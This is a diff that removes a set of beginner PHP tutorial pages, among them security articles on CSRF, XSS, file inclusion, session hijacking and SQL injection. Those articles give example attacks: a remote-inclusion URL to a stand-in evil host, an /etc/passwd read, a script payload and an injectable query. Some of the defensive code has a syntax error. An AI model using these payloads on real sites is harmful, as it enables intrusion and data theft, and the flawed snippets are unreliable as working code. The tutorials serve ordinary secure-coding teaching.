echo "Favorite animal is " . $_SESSION["favanimal"] . ".";
?>
</body>
</html>
```
Output:
Favorite color is blue.
Favorite animal is dog.
Another way to show all the session variable values for a user session is to run the following code:
```
<?php
print_r($_SESSION);
?>
```
### How does it work?
Most sessions set a user-key on the user's computer that looks something like this: 765487cf34ert8dede5a562e4f3a7e12.
Then, when a session is opened on another page, it scans the computer for a user-key.
If there is a match, it accesses that session, if not, it starts a new session.
## Modify a Session Variable
To change a session variable, just overwrite it:
**Example:**
```
<?php
session_start();
?>
<!DOCTYPE html>
<html>
<body>
<?php
// to change a session variable, just overwrite it
$_SESSION["favcolor"] = "pink";
print_r($_SESSION);
?>
</body>
</html>
```
## Destroy a PHP Session
To remove all global session variables and destroy the session, use _session_unset()_ and _session_destroy()_:
**Example:**
```
<?php
session_start();
?>
<!DOCTYPE html>
<html>
<body>
<?php
// remove all session variables
session_unset();
// destroy the session
session_destroy();
?>
</body>
</html>
```

View File

@ -1,51 +0,0 @@
---
title: Cross Site Request Forgery
---
## Cross Site Request Forgery
Cross Site Request Forgery is a vulnerability in the application caused by the programmer not checking where a request was sent from - this attack is sent to a high privilege level user to gain higher level access to the application.
### Example Cross Site Request Forgery Attack
An online blog allows users to submit comments and include an image in the comment, the blog's admin panel allows the blog's author to delete a comment by loading the URL `/admin/deletecomment.php?id=123`. A malicious user could make an image tag that loads the delete comment url for example `<img src="/admin/deletecomment.php?id=123" />` so next time an admin views the comment, the admin's computer will load the url and delete comment number 123.
### Defending your website from cross site request forgery attacks in PHP
To defend against a cross site request forgery attack, you should check against a regularly changed token. The url `/admin/deletecomment.php?id=123` would change to `/admin/deletecomment.php?id=123&csrf-token=random-per-user-unique-string-here`.
```PHP
<?php
// Checking a request's CSRF Token (if true the comment is deleted, if false the comment remains.)
session_start();
if ($_GET['csrf-token'] == $_SESSION['csrf-token']){
return true;
} else {
return false;
}
```
**Tips:**
* Keep a CSRF Token completely random and change per session (the openssl functions can help with this)
* PHP sessions are useful for storing a CSRF Token accessible to both the user and the server, you could also make this process database driven if you are so inclined.
* Change the CSRF Token on a session every 24 hours. On a high risk application you might want to change it upon every successful request however that will cause issues with users using multiple tabs.
#### Securely generating a Token
When setting a CSRF Token it is important that it is impossible to guess the key. The OpenSSL functions in PHP can generate a randomized key for you and store as a session variable.
```PHP
<?php
session_start();
$_SESSION['csrf-token'] = bin2hex(openssl_random_pseudo_bytes(16));
```
#### Using a CSRF Token to complete legitimate requests
You can include the session variable you saved earlier with your CSRF token in the URL make sure a legitimate administrator is allowed to delete comments. Without the correct token the request will be blocked.
```PHP
<?php
session_start();
echo '<a href="/admin/?id=123&csrf-token='.$_SESSION['csrf-token'].'">Delete Comment</a>'; // Only the logged in user has access to the CSRF Token - the token isn't accessible to the attacker preventing their attack from being successful.
```
#### More Information:
* <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)" rel="nofollow">OWASP Wiki - Cross Site Request Forgery</a>
* <a href="https://secure.php.net/manual/en/function.bin2hex.php">php.net bin2hex() manual</a>
* <a href="https://secure.php.net/manual/en/function.openssl-random-pseudo-bytes.php">php.net openssl&#x5F;random&#x5F;pseudo&#x5F;bytes() manual</a> <!-- I used html special entities here due to issues displaying the underscore characters -->

View File

@ -1,72 +0,0 @@
---
title: Cross Site Scripting
---
## Cross Site Scripting
Cross Site Scripting is a type of vulnerability in a web application caused by the programmer not sanitizing input before outputting the input to the web browser (for example a comment on a blog). It is commonly used to run malicious javascript in the web browser to do attacks such as stealing session cookies among other malicious actions to gain higher level privileges in the web application.
### Example Cross Site Scripting Attack
A blog allows users to style their comments with HTML tags, however the script powering the blog does not strip out `<script>` tags allowing any user to run javascript on the page. An attacker can use this to their advantage to run malicious javascript in the browser. They could infect users with malware, steal session cookies, and more.
```HTML
<script>
alert('Cross Site Scripting!');
</script>
```
### Defending your website from cross site scripting attacks in PHP
In PHP there are two primary functions, `htmlspecialchars()` and `strip_tags()`, built in to protect yourself from cross site scripting attacks.
The `htmlspecialchars($string)` function will prevent an HTML string from rendering as HTML and display it as plain text to the web browser.
**htmlspecialchars() code example**
```PHP
<?php
$usercomment = "<string>alert('Cross Site Scripting!');</script>";
echo htmlspecialchars($usercomment);
```
The other approach is the `strip_tags($string, $allowedtags)` function which removes all HTML tags except for the HTML tags that you've whitelisted. It's important to note that with the `strip_tags()` function you have to be more careful, this function does not prevent the user from including javascript as a link, you'll have to sanitize that on our own.
**strip_tags() code example**
```php
<?php
$usercomment = "<string>alert('Cross Site Scripting!');</script>";
$allowedtags = "<p><a><h1><h2><h3>";
echo strip_tags($usercomment, $allowedtags);
```
**Setting the X-XSS-Protection Header:**
In PHP you can send the `X-XSS-Protection` Header which will tell browsers to check for a reflected Cross Site Scripting attack and block the page from loading. This does not prevent all cross site scripting attacks only reflected ones and should be used in combination with other methods.
```PHP
<?php
header("X-XSS-Protection: 1; mode=block");
```
**Writing your own sanitization function**
Another option, if you would like more control over how the sanitization works, is to write your own HTML Sanitization function, this is not recommended for PHP Beginners as a mistake would make your website vulnerable.
### Defending your website from cross site scripting attacks with a Content Security Policy
An effective approach to preventing cross site scripting attacks, which may require a lot of adjustments to your web application's design and code base, is to use a content security policy.
#### Set a Content Security Policy as an HTTP Header
The most common way of setting a Content Security Policy is by setting it directly in the HTTP Header. This can be done by the web server by editing it's configuration or by sending it through PHP.
**Example of a Content Security Policy set in a HTTP Header**
```php
<?php
header("content-security-policy: default-src 'self'; img-src https://*; child-src 'none';");
```
#### Set a Content Security Policy as a Meta tags
You can include your Content Security Policy in the page's HTML and set on a page by page basis. This method requires you to set on every page or you lose the benefit of the policy.
**Example of a Content Security Policy set in a HTML Meta Tag**
```HTML
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
#### More Information:
* <a href="https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)" rel="nofollow">OWASP Wiki - Cross Site Scripting</a>
* <a href="https://secure.php.net/manual/en/function.strip-tags.php" rel="nofollow">php.net strip_tags() manual</a>
* <a href="https://secure.php.net/manual/en/function.htmlspecialchars.php" rel="nofollow">php.net htmlspecialchars() manual</a>
* <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP" rel="nofollow">MDN - Content Security Policy (CSP)</a>

View File

@ -1,18 +0,0 @@
---
title: Security
---
## Security
When writing PHP code it is very important to get security concepts in mind to avoid writing vulnerable code.
### Types Of Vulnerabilities
* <a href="/php/security/cross-site-request-forgery">Cross Site Request Forgery</a> A vulnerability in the application caused by the programmer not checking where a request was sent from - this attack is sent to a high privilege level user to gain higher level access to the application.
* <a href="/php/security/cross-site-scripting">Cross Site Scripting</a> A vulnerability in the application caused by the programmer not sanitizing input before outputting the input to the browser (for example a comment on a blog). It is commonly used to run malicious javascript in the browser to do attacks such as stealing session cookies among other malicious actions to gain higher level privileges in the application.
* <a href="/php/security/local-file-inclusion">Local File Inclusion</a> A vulnerability in the application caused by the programmer requiring a file input provided by the user and not sanitizing the input before accessing the requested file. This results in a file being included where it should not of been.
* <a href="/php/security/remote-file-inclusion">Remote File Inclusion</a> A vulnerability in the application caused by the programmer requiring a file input provided by the user and not sanitizing the input before accessing the requested file. This results in a file being pulled from a remote server and included where it should not of been.
* <a href="/php/security/session-hijacking">Session Hijacking</a> A vulnerability caused by an attacker gaining access to a user's session identifier and being able to use another user's account impersonating them. This is often used to gain access to an administrative user's account.
* <a href="/php/security/session-identifier-acquirement">Session Identifier Acquirement</a> Session Identifier Acquirement is a vulnerability caused by an attacker being able to either guess the session identifier of a user or exploit vulnerabilities in the application itself or the user's browser to obtain a session identifier.
* <a href="/php/security/sql-injection">SQL Injection</a> A vulnerability in the application caused by the programmer not sanitizing input before including it into a query into the database. This leads to the attacker having full read and more often than not write access to the database. With this type of access an attacker can do very bad things.
#### More Information:
<a href="https://www.owasp.org/index.php/Category:Attack" rel="nofollow">OWASP Wiki's Attacks Page</a>

View File

@ -1,19 +0,0 @@
---
title: Local File Inclusion
---
## Local File Inclusion
A vulnerability in the application caused by the programmer requiring a file input provided by the user and not sanitizing the input before accessing the requested file. This results in a file being included where it should not of been.
### Example local file inclusion attacks
A website allows you to view PDFs as `download.php?file=myfile.php`, due to a lack of proper checking a malicious user is able to request /etc/passwd and get sensitive configuration information from the web server.
### Defending your website from local file inclusion attacks in PHP
```PHP
<?php
if(basename($_GET['file]) !== $_GET['file']) {
die('INVALID FILE REQUESTED');
}
```
#### More Information:
* <a href="https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion" rel="nofollow">OWASP Wiki - Testing for Local File Inclusion</a>

View File

@ -1,22 +0,0 @@
---
title: Remote File Inclusion
---
## Remote File Inclusion
A vulnerability in the application caused by the programmer requiring a file input provided by the user and not sanitizing the input before accessing the requested file. This results in a file being pulled from a remote server and included where it should not of been.
### Example remote file inclusion attacks
A website allows you to view PDFs as `download.php?file=myfile.php`, due to a lack of proper checking a malicious user is able to request a remote resource and include in the script. The URL could become `download.php?file=http://myevilserver.gtld/evilcode.php` this could then be outputted to the user or in severe cases run the actual PHP code on your server.
### Defending your website from remote file inclusion attacks in PHP
The following PHP code will provide strong protection against a remote file inclusion attacks
```PHP
<?php
if(basename($_GET['file]) !== $_GET['file']) {
die('INVALID FILE REQUESTED');
}
```
* You can disable `allow_url_fopen` in your php.ini file as an added protection against remote file inclusion.
#### More Information:
* <a href="https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion" rel="nofollow">OWASP Wiki - Testing for Remote File Inclusion</a>

View File

@ -1,41 +0,0 @@
---
title: Session Hijacking
---
## Session Hijacking
Session Hijacking is a vulnerability caused by an attacker gaining access to a user's session identifier and being able to use another user's account impersonating them. This is often used to gain access to an administrative user's account.
### Defending against Session Hijacking attacks in PHP
To defend against Session Hijacking attacks you need to check the current user's browser and location information against information stored about the session. Below is an example implementation that can help mitigate the effects of a session hijacking attack. It checks the IP Address, User Agent, and if the Session Expired removing a session before it's resumed.
```PHP
<?php
session_start();
// Does IP Address match?
if ($_SERVER['REMOTE_ADDR'] != $_SESSION['ipaddress'])
{
session_unset();
session_destroy();
}
// Does user agent match?
if ($_SERVER['HTTP_USER_AGENT'] != $_SESSION['useragent'])
{
session_unset();
session_destroy();
}
// Is the last access over an hour ago?
if (time() > ($_SESSION['lastaccess'] + 3600))
{
session_unset();
session_destroy();
}
else
{
$_SESSION['lastaccess'] = time();
}
```
#### More Information:
* <a href="https://secure.php.net/manual/en/session.security.php">php.net session security manual</a>

View File

@ -1,55 +0,0 @@
---
title: Session Identifier Acquirement
---
## Session Identifier Acquirement
Session Identifier Acquirement is a vulnerability caused by an attacker being able to either guess the session identifier of a user or exploit vulnerabilities in the application itself or the user's browser to obtain a session identifier. This attack is a prerequisite to performing a session hijacking attack.
### Example
An attacker has a few options to perform a session identifier acquirement attack.
* Guessing the Identifier: A short and guessable session identifier could allow an attacker to brute-force the ID of a session and get in.
* Attacking the Browser: In the event you store your session identifier in the browser's cookies - if your website is vulnerable to cross site scripting an attacker could use the vulnerability to collect session identifier cookies and access high privilege level areas (for example an admin panel).
* Changing the ID to the attacker's choice: In older versions of PHP you were able to set the ID of a session in the URL. It's disabled by default now, if in doubt make sure `session.use_trans_sid` is false. This is not a common issue anymore, however it can still happen, better safe than sorry.
### Defending against Session Identifier Acquirement attacks in PHP
To defend against Session Identifier Acquirement attacks you need to check the attempted session access against several factors to confirm whether it's a legitimate access and to avoid the user from successfully hijacking the user's session. Below is an example implementation that can help mitigate the effects of a session identifier acquirement attack. It checks the IP Address, User Agent, and if the Session Expired removing a session before it's acquired.
```PHP
<?php
session_start();
// Does IP Address match?
if ($_SERVER['REMOTE_ADDR'] != $_SESSION['ipaddress'])
{
session_unset();
session_destroy();
}
// Does user agent match?
if ($_SERVER['HTTP_USER_AGENT'] != $_SESSION['useragent'])
{
session_unset();
session_destroy();
}
// Is the last access over an hour ago?
if (time() > ($_SESSION['lastaccess'] + 3600))
{
session_unset();
session_destroy();
}
else
{
$_SESSION['lastaccess'] = time();
}
```
**Tips:**
* Store lots of information about the current session (User Agent String, IP Address, Last Access Time, etc)
* Check every request against information stored about the session (Does it match? If not delete the session and require the user to login again )
* Sessions shouldn't last forever - they should expire at a certain point to maintain session security.
* Rate limit the amount of sessions a user can try to access (did a user try to access 1000+ invalid sessions? Chances are they are guessing - prevent the IP address from trying any more sessions for a few hours).
#### More Information:
* <a href="https://secure.php.net/manual/en/session.security.php">php.net session security manual</a>

View File

@ -1,74 +0,0 @@
---
title: SQL Injection
---
## SQL Injection
A vulnerability in the application caused by the programmer not sanitizing input before including it into a query into the database. This leads to the attacker having full read and more often than not write access to the database. With this type of access an attacker can do very bad things.
### Example SQL Injection attack
The below PHP Script runs an SQL Statement to get a user's email by ID. However the input is not sanitized making it vulnerable to SQL Injection
```PHP
<?php
$input = $_GET['id'];
$dbserver = "localhost";
$dbuser = "camper";
$dbpass = "supersecretcampsitepassword";
$dbname = "freecodecamp";
$conn = new mysqli($dbserver, $dbuser, $dbpass, $dbname);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
$sql = "SELECT email FROM users WHERE id =" . $input;
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
echo $row["email"];
}
} else {
echo "no results";
}
$conn->close();
```
```SQL
SELECT email FROM users WHERE id = `$input`;
```
So with the above the input is not type casted (I.e. casting the input with `(int)` so only a number is allowed) nor escaped allowing someone to perform an SQL Injection attack - for example the URL `getemailbyuserid.php?id=1; My Query Here--` would allow you to run arbitrary SQL queries with little effort.
As the SQL code is a string which can be controlled by an attacker, the `id` variable in the example above effectively becomes `1; My Query Here--`. The `$sql` string thus becomes `SELECT email FROM users WHERE id =1; My Query Here--`. You can see that arbitrary queries can be appended to the original query. The double-dash `--` comments out any trailing characters which can cause an issue with the payload, like closing quotes if available.
### Defending your website from sql injection attacks in PHP
There are a few approaches to defend your website from SQL Injection Attacks. These approaches are Whitelisting, Type Casting, and Character Escaping
**Whitelisting:**
The whitelisting approach is used in cases where only a few inputs are expected. You can list each expected input in a PHP Switch and then have a default for invalid input. You do not have to worry about a type casting issue or a character escape bypass but the allowed input is extreamly limited. It remains an option, see the example below.
```PHP
<?php
switch ($input) {
case "1":
//db query 1
break;
case "2":
//db query 2
break;
default:
// invalid input return error
}
```
**Type Casting:**
The type casting approach is commonly used for an application using numeric input. Simply cast the input with `(int) $input` and only a numeric value will be allowed.
**Character Escaping:**
The character escaping approach will escape characters such as quotes and slashes provided by the user to prevent an attack. If you are using MySQL Server and the MySQLi library to access your database, the `mysqli_real_escape_string($conn, $string)` function will take two arguments, the MySQLi connection, and the string and will properly escape the user's input to block an sql injection attack. The exact function you use depends on the database type and php library you are using check the php library's documentation for more information on escaping user input.
#### More Information:
* <a href="https://www.owasp.org/index.php/SQL_Injection" rel="nofollow">OWASP Wiki - SQL Injection</a>
* <a href="https://secure.php.net/manual/en/security.database.sql-injection.php" rel="nofollow">php.net SQL Injection manual</a>
* <a href="https://secure.php.net/manual/en/mysqli.real-escape-string.php" rel="nofollow">php.net MySQLi Real Escape String manual</a>

View File

@ -1,84 +0,0 @@
---
title: Sessions
---
## Sessions
Sessions are a feature in PHP that allow you to store data server side about a user. When a session is setup, a browser cookie is set which identifies the user to PHP so the PHP knows which server side variables to access.
### Starting A Session
On every page you want to access the session you will need to start (or load) the session. To do so run the `session_start()` function which loads the PHP Session System.
```PHP
<?php
session_start();
```
Please note, that when using cookie-based sessions, session_start() must be called before outputing anything to the browser. anything else will result in an error.
### Accessing And Setting Data In A Session
The `$_SESSION['key']` variable is a special type of array (using a browser cookie to determine which session to access).
In the below example you see the user's choice of theme is set to theme number one.
```PHP
<?php
session_start();
$_SESSION['themechoice'] = 1;
```
Accessing a session variable is similar to setting one. Simply include the variable where it needs to be accessed. For example echoing it out as shown in the code example below.
```PHP
<?php
session_start();
echo $_SESSION['themechoice'];
```
### Removing A Session
To remove a session from the system run the following PHP code. It will unset the session variables and delete it from the system.
```PHP
<?php
session_unset();
session_destroy();
```
Here's a full example to manually expire a user's session:
```PHP
<?php
//Start our session.
session_start();
//Expire the session if user is inactive for 30
//minutes or more.
$expireAfter = 30;
//Check to see if our "last action" session
//variable has been set.
if(isset($_SESSION['last_action'])){
//Figure out how many seconds have passed
//since the user was last active.
$secondsInactive = time() - $_SESSION['last_action'];
//Convert our minutes into seconds.
$expireAfterSeconds = $expireAfter * 60;
//Check to see if they have been inactive for too long.
if($secondsInactive >= $expireAfterSeconds){
//User has been inactive for too long.
//Kill their session.
session_unset();
session_destroy();
}
}
//Assign the current timestamp as the user's
//latest activity
$_SESSION['last_action'] = time();
```
### Sessions Are Temporary
It is important to not treat a session as permanent storage. They get cleared from time to time by the developer, whenever the application is moved to a new host server, by the application itself (for example a logout button), and even during server maintenance. For long term storage of data make sure to use a database.
### Security
Last but not least it's important to use php sessions securely. Read our article on [Session Identifier Acquirement](/php/security/session-identifier-acquirement) and [Session Hijacking](/php/security/session-hijacking) for more information.
#### More Information:
* <a href="https://secure.php.net/manual/en/book.session.php">php.net session manual</a>

View File

@ -1,94 +0,0 @@
---
title: Strings
---
## Strings
A string is series of characters. These can be used to store any textual information in your application.
There are a number of different ways to create strings in PHP.
### Single Quotes
Simple strings can be created using single quotes.
```PHP
$name = 'Joe';
```
To include a single quote in the string, use a backslash to escape it.
```PHP
$last_name = 'O\'Brian';
```
### Double Quotes
You can also create strings using double quotes.
```PHP
$name = "Joe";
```
To include a double quote, use a backslash to escape it.
```PHP
$quote = "Mary said, \"I want some toast,\" and then ran away.";
```
Double quoted strings also allow escape sequences. These are special codes that put characters in your string that represent typically invisible characters. Examples include newlines `\n`, tabs `\t`, and actual backslashes `\\`.
You can also embed PHP variables in double quoted strings to have their values added to the string.
```PHP
$name = 'Joe';
$greeting = "Hello $name"; // now contains the string "Hello Joe"
```
## PHP String Functions
In this chapter we will look at some commonly used functions to manipulate strings.
## Get The Length of a String
The PHP strlen() function returns the length of a string.
The example below returns the length of the string "Hello world!":
````
<?php
echo strlen("Hello world!"); // outputs 12
?>
````
A string is series of characters.
PHP only supports a 256-character set and hence does not offer native Unicode support.
## Count The Number of Words in a String
The PHP str_word_count() function counts the number of words in a string:
````
<?php
echo str_word_count("Hello world!"); // outputs 2
?>
````
## Reverse a String
The PHP strrev() function reverses a string:
````
<?php
echo strrev("Hello world!"); // outputs !dlrow olleH
?>
````
## Search For a Specific Text Within a String
The PHP strpos() function searches for a specific text within a string.
If a match is found, the function returns the character position of the first match. If no match is found, it will return FALSE.
The example below searches for the text "world" in the string "Hello world!":
````
<?php
echo strpos("Hello world!", "world"); // outputs 6
?>
````
## Replace Text Within a String
````
<?php
echo str_replace("world", "Dolly", "Hello world!"); // outputs Hello Dolly!
?>
````
#### More Information:
<!-- Please add any articles you think might be helpful to read before writing the article -->
[PHP: Strings](http://php.net/manual/en/language.types.string.php)
[PHP String tutorial](https://www.w3schools.com/php/php_string.asp)

View File

@ -1,44 +0,0 @@
---
title: subtring
---
## Substring Function in PHP
The Substring function in PHP returns a portion of the string, specified by two parameters, the start and the length.
## Syntax
The substring function is used like any other function in php, and uses the subtr() syntax.
```
<?php
subtr( $string, $start, $length);
```
## Example
Below is an example of how you could use the substring function in a real world situation:
```
<?php
$apple = 'Apple';
$alphabet = 'abcdefghijklmnopqrstuvwxyz';
substr($apple, 0, 5); // Apple;
substr($apple, 0, 3); // App;
substr($apple, 3, 2); // le;
substr($alphabet, 0, 26); // abcdefghijklmnopqrstuvwxyz;
substr($alphabet, 12, 6); // mnopqr;
```
## Additional Info
For more information, please see [PHP: Substring](http://php.net/manual/en/function.substr.php)

View File

@ -1,32 +0,0 @@
---
title: Super Globals
---
## Super Globals
This is a stub. <a href='https://github.com/freecodecamp/guides/tree/master/src/pages/php/super-globals/index.md' target='_blank' rel='nofollow'>Help our community expand it</a>.
<a href='https://github.com/freecodecamp/guides/blob/master/README.md' target='_blank' rel='nofollow'>This quick style guide will help ensure your pull request gets accepted</a>.
<!-- The article goes here, in GitHub-flavored Markdown. Feel free to add YouTube videos, images, and CodePen/JSBin embeds -->
## List of Super Globals and what are they
Super globals are variables defined in the core of PHP, and they are available in all scopes throughout the script. This means that you do not need to define them as **global $variable** .
These superglobal variables are:
$GLOBALS
$_SERVER
$_GET
$_POST
$_FILES
$_COOKIE
$_SESSION
$_REQUEST
$_ENV
They all have their use cases, but mostly to beginners _$_GET_ and _$_POST_ are the most used. **$_GET**_ Pulls data from the url, while **$_POST**_ pulls data from the post request. Both of these are arrays. **$_REQUEST**_ is a collection of GET and POST.
#### More Information:
<!-- Please add any articles you think might be helpful to read before writing the article -->

View File

@ -1,155 +0,0 @@
---
title: Switch
---
## Switch
In PHP, the `Switch` statement is very similar to the Javascript `Switch` statement (See the <a href="/javascript/switch-statements">Javascript Switch Guide</a> to compare and contrast). It allows rapid case testing with a lot of different possible conditions, the code is also more readable.
### Syntax
```php
<?php
// Switch Statement Example
switch ($i) {
case "free":
echo "i is free";
break;
case "code":
echo "i is code";
break;
case "camp":
echo "i is camp";
break;
default:
echo "i is freecodecamp";
break;
}
```
### Break
The `break;` statement exits the switch and goes on to run the rest of the application's code. If you do not use the `break;` statement you may end up running mulitple cases and statements, sometimes this may be desired in which case you should not include the `break;` statement.
An example of this behavior can be seen below:
```
<?php
$j = 0;
switch ($i) {
case '2':
$j++;
case '1':
$j++;
break;
default:
break;
}
```
If $i = 1, the value of $j would be:
```
1
```
If $i = 2, the value of $j would be:
```
2
```
While break can be omitted without causing fall-through in some instances (see below), it is generally best practice to include it for legibility and safety (see below):
```
<?php
switch ($i) {
case '1':
return 1;
case '2':
return 2;
default:
break;
}
```
```
<?php
switch ($i) {
case '1':
return 1;
break;
case '2':
return 2;
break;
default:
break;
}
```
## Example
```php
<?php
//initialize with a random integer within range
$diceNumber = mt_rand(1, 6);
//initialize
$numText = "";
//calling switch statement
switch($diceNumber)
{
case 1:
$numText = "One";
break;
case 2:
$numText = "Two";
break;
case 3:
case 4:
// case 3 and 4 will go to this line
$numText = "Three or Four";
break;
case 5:
$numText = "Five";
echo $numText;
// break; //without specify break or return it will continue execute to next case.
case 6:
$numText = "Six";
echo $numText;
break;
default:
$numText = "unknown";
}
//display result
echo 'Dice show number '.$numText.'.';
?>
```
## Output
```
if case is 1
> Dice show number One.
if case is 2
> Dice show number Two.
if case is 3
> Dice show number Three or Four.
if case is 4
> Dice show number Three or Four.
if case is 5
> FiveSixDice show number Six.
if case is 6
> SixDice show number Six.
if none of the above
> Dice show number unknown.
```
#### More Information:
* [php.net docs Switch](https://secure.php.net/manual/en/control-structures.switch.php")

View File

@ -1,56 +0,0 @@
---
title: try catch
---
## Try Catch in PHP
When working in PHP, it is considered good practice to utilize error handling within your code. This allows you to return error messages, rather than crashing returning nothing, or worse, crashing your application. There are many ways to utilize Exceptions in PHP, but a common one is the Try Catch block.
## Syntax
The syntax for a try catch starts with a try statement, followed by code to be executed, which is then followed by a catch statement with some form of error handling.
```
<?php
try {
//Code to be executed.
} catch (Exception $e) {
//Code to handle the exception
}
```
## Example
Below is an example of how you could use a try catch block in a real world situation:
```
<?php
$numOne = 123;
$numTwo = 456;
public function sum ($numOne, $numTwo = null) {
try {
$sum = $numOne + $numTwo;
//code with error
} catch (Exception $e) {
echo $e; // echos the error that occured.
}
}
```
## Use Cases
It is important to add error handling to your code to ensure that you are handling and responding to errors accordingly. A try catch block can be used anywhere from functions you write, API calls, and even database queries to handle an array of arrays.
## Additional Info
For more information, please see [PHP: Exceptions](http://php.net/manual/en/language.exceptions.php#language.exceptions.catch)

View File

@ -1,113 +0,0 @@
---
title: PHP Data Types
---
# Data Types
Variables can store data of different types such as:
* String ("Hello")
* Integer (5)
* Float (also called double) (1.0)
* Boolean ( 1 or 0 )
* Array ( array("I", "am", "an", "array") )
* Object
* NULL
* Resource
## String
A string is a sequence of characters. It can be any text inside quotes (single or double):
#### Example
```php
$x = "Hello!";
$y = 'Hello!';
```
## Integer
An integer data type is a non-decimal number between -2,147,483,648 and 2,147,483,647.
Rules for integers:
* An integer must have at least one digit
* An integer must not have a decimal point
* An integer can be either positive or negative
* Integers can be specified in three formats: decimal (10-based), hexadecimal (16-based - prefixed with 0x) or octal (8-based - prefixed with 0)
#### Example
```php
$x = 5;
```
## Float
A float (floating point number) is a number with a decimal point or a number in exponential form.
#### Example
```php
$x = 5.01;
```
## Boolean
A Boolean represents two possible states: TRUE or FALSE. Booleans are often used in conditional testing.
```php
$x = true;
$y = false;
```
## Array
An array stores multiple values in one single variable.
```php
$colours = array("Blue","Purple","Pink");
```
## NULL Value
Null is a special data type which can have only one value: NULL.
A variable of data type NULL is a variable that has no value assigned to it.
Variables can also be emptied by setting the value to NULL.
**Note:** If a variable is created without a value, it is automatically assigned a value of NULL.
```php
<?php
$x = "Hello world!";
$x = null;
?>
```
Output:
NULL
## Object
An object is a data type which stores data and information on how to process that data.
In PHP, an object must be explicitly declared.
First we must declare a class of object. A class is a structure that can contain properties and methods.
**Example:**
```php
<?php
class Car {
function Car() {
$this->model = "VW";
}
}
// create an object
$herbie = new Car();
// show object properties
echo $herbie->model;
?>
```
You can also use a predefined generic empty class `stdClass`. It's usefull for anonymous objects, dynamic properties or casting other types to object.

View File

@ -1,100 +0,0 @@
---
title: Variables
---
## Variables
# Creating (Declaring) PHP Variables
Variables are "containers" for storing information. They are the main way to store information in a PHP program.
All variables in PHP are denoted with a leading dollar sign like "$variable_name".
Variables are assigned with the "=" operator, with the variable on the left-hand side and the expression to be evaluated on the right.
**Syntax:**
```php
<?php
// Assign the value "Hello world" to the variable "txt"
$txt = "Hello world!";
// Assign the value "5" to the variable "x"
$x = 5;
// Assign the value "10.5" to the variable "y"
$y = 10.5;
?>
```
##### Note: Using quotes or not using quotes will change the type of variable created. [Read more](https://guide.freecodecamp.org/php/data-types) about variable and data types.
##### Note: Unlike other programming languages, PHP has no command for declaring a variable. It is created the moment you first assign a value to it.
# Rules for PHP variables:
* A variable starts with the $ sign, followed by the name of the variable
* A variable name must start with a letter or the underscore character
* A variable name cannot start with a number
* A variable name can only contain alpha-numeric characters and underscores (A-z, 0-9, and _ ) You cannot use characters like `+ , - , % , ( , ) . &` in its name.
* Variable names are case-sensitive ($age and $AGE are two different variables)
Some examples of allowed variable names:
* $my_variable
* $anotherVariable
* $the2ndVariable
# Predefined Variables
PHP has several special keywords that while are "valid" variable names, cannot be used for your variables. The reason for this is that the language itself has already defined those variables and they have are used for special purposes. Several examples are listed below, for a complete list see the [PHP documentation site](https://secure.php.net/manual/en/language.variables.predefined.php).
- `$this`
- `$_GET`
- `$_POST`
- `$_SERVER`
- `$_FILES`
# Output Variables
The PHP echo statement is often used to output data to the screen.
The following example will show how to output text and a variable:
````php
<?php
$txt = "github.com";
echo "I love $txt!";
?>
````
The following example will produce the same output as the example above:
````php
<?php
$txt = "github.com";
echo "I love " . $txt . "!";
?>
````
The following example will output the sum of two variables:
````php
<?php
$x = 5;
$y = 4;
echo $x + $y;
?>
````
# PHP is a Loosely Typed Language
In the example above, notice that we did not have to tell PHP which data type the variable is.
PHP automatically converts the variable to the correct data type, depending on its value.
In other languages such as C, C++, and Java, the programmer must declare the name and type of the variable before using it.
# Variable lifecycle
In PHP variables have a default value. If a variable is not declared before you attempt to use it, its value will be NULL. It is unset. So you can't use it by writing "isset($variable)" before using it.
#### More Information:
For even more information check out these resources:
- [PHP Variable Documentation](http://php.net/manual/en/language.variables.php)
- [W3Schools PHP Variables](https://www.w3schools.com/php/php_variables.asp)
- [PHP Data Types](https://guide.freecodecamp.org/php/data-types)
Learn about the different types of variables you can create: [Data Types](https://guide.freecodecamp.org/php/variables/data-types)
<!-- Please add any articles you think might be helpful to read before writing the article -->

View File

@ -1,36 +0,0 @@
---
title: While Loop
---
## While Loop
A `while` loop executes statements within the loop as long as the loops condition is met.
### Syntax:
```php
<?php
$x = 0;
while ($x < 11) {
statement1;
$x++;
}
```
**Note:** The block code must have a statement that changes or increments the condition. Otherwise an infinite loop could result.
Another loop statement is `do...while` where you execute your code at least once.
### Syntax
```php
$x = 0;
do {
++$x;
} while ($x < 11);
```
**Note:** Same as the `while` block, this should have a statement that changes, otherwise an infinite loop could result.
### More Information:
- [PHP While Loop](http://php.net/manual/en/control-structures.while.php)
- [PHP Do-While Loop](http://php.net/manual/en/control-structures.do.while.php)

View File

@ -1,22 +0,0 @@
---
title: Working With Databases
---
## What options are available for PHP to connect to a database?
PHP can connect to a variety of different databases including MongoDB, MS SQL and MySQL.
Both PHP and MySQL are very popular and provide an easy, free and open source websites
to be created and are often found together to produce websites of all types.
Both PHP and MySQL can scale to support large numbers of users.
PHP even supports more than one way to deal with connections to MySQL including MySQLi Procedural,
PHP Data Objects (PDO) and MySQLi Object Orientated along with the now deprecated MySQL Connect.
With PHP there are many features built into the core functionality of the language that make links to a
database simple and easy.
Some Examples from Mysqli are-
```php
$con=mysqli_connect("localhost","root","","db_name") or die("Invalid User or Password...cannot connect");
```
Here we are connecting to a database on the phpmyadmin structure, with no password, and database named `db_name`.

View File

@ -1,26 +0,0 @@
---
title: MySQLi
---
## MySQLi
This is a stub. <a href='https://github.com/freecodecamp/guides/tree/master/src/pages/php/working-with-databases/mysqli/index.md' target='_blank' rel='nofollow'>Help our community expand it</a>.
<a href='https://github.com/freecodecamp/guides/blob/master/README.md' target='_blank' rel='nofollow'>This quick style guide will help ensure your pull request gets accepted</a>.
<!-- The article goes here, in GitHub-flavored Markdown. Feel free to add YouTube videos, images, and CodePen/JSBin embeds -->
MYSQLi functions allow access to the database.
MYSQLi is an improved version of MYSQL
#### Some Important MYSQLi functions and their uses:
mysqli_connect() ==> Opens a new connection to the MySQL server
